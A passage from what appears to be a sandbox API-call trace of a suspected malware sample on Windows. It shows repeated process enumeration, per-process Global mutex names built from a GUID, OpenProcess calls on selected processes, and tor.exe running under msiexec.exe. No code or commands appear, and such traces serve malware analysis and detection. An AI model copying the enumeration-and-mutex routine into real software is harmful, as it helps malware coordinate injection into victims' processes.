lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.150] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.150] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.152] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.152] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.153] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.154] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.155] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.157] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0115.157] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0xef8 [0115.157] GetLastError () returned 0xb7 [0115.157] CloseHandle (hObject=0xef8) returned 1 [0115.157] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0115.158] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0115.158] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0xef8 [0115.158] GetLastError () returned 0xb7 [0115.158] CloseHandle (hObject=0xef8) returned 1 [0115.158] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0115.159] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.160] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0115.160] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0xef8 [0115.160] GetLastError () returned 0x0 [0115.160] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0115.160] CloseHandle (hObject=0xef8) returned 1 [0115.160] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.161] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0115.161] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0xef8 [0115.161] GetLastError () returned 0x0 [0115.161] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0115.161] CloseHandle (hObject=0xef8) returned 1 [0115.161] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0115.162] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0115.162] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0xef8 [0115.162] GetLastError () returned 0xb7 [0115.162] CloseHandle (hObject=0xef8) returned 1 [0115.162] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0115.163] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0115.163] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0xef8 [0115.163] GetLastError () returned 0x0 [0115.163] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0115.163] CloseHandle (hObject=0xef8) returned 1 [0115.163] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0115.164] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0115.164] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0115.165] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0115.166] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0115.167] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0115.168] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0115.168] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0115.169] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0115.170] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0115.171] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0115.171] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0115.172] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0115.173] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0115.174] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0115.175] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0115.175] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0115.176] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0115.177] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0115.178] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0115.179] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0115.180] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.180] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0115.181] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.182] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0115.293] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0115.293] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.294] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0115.295] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0115.296] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.297] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0115.297] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0115.297] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13e0 [0115.298] GetLastError () returned 0xb7 [0115.298] CloseHandle (hObject=0x13e0) returned 1 [0115.298] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0115.298] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0115.299] CloseHandle (hObject=0x13d8) returned 1 [0115.299] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0115.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13d8 [0115.439] Process32FirstW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0115.440] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0115.441] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0115.442] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.442] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0115.443] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0115.444] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0115.445] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0115.446] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0115.446] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0115.447] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.448] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.449] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.450] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.451] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.452] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0115.452] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.453] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.454] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0115.455] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0115.456] Process32NextW (in: hSnapshot=0x13d8, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 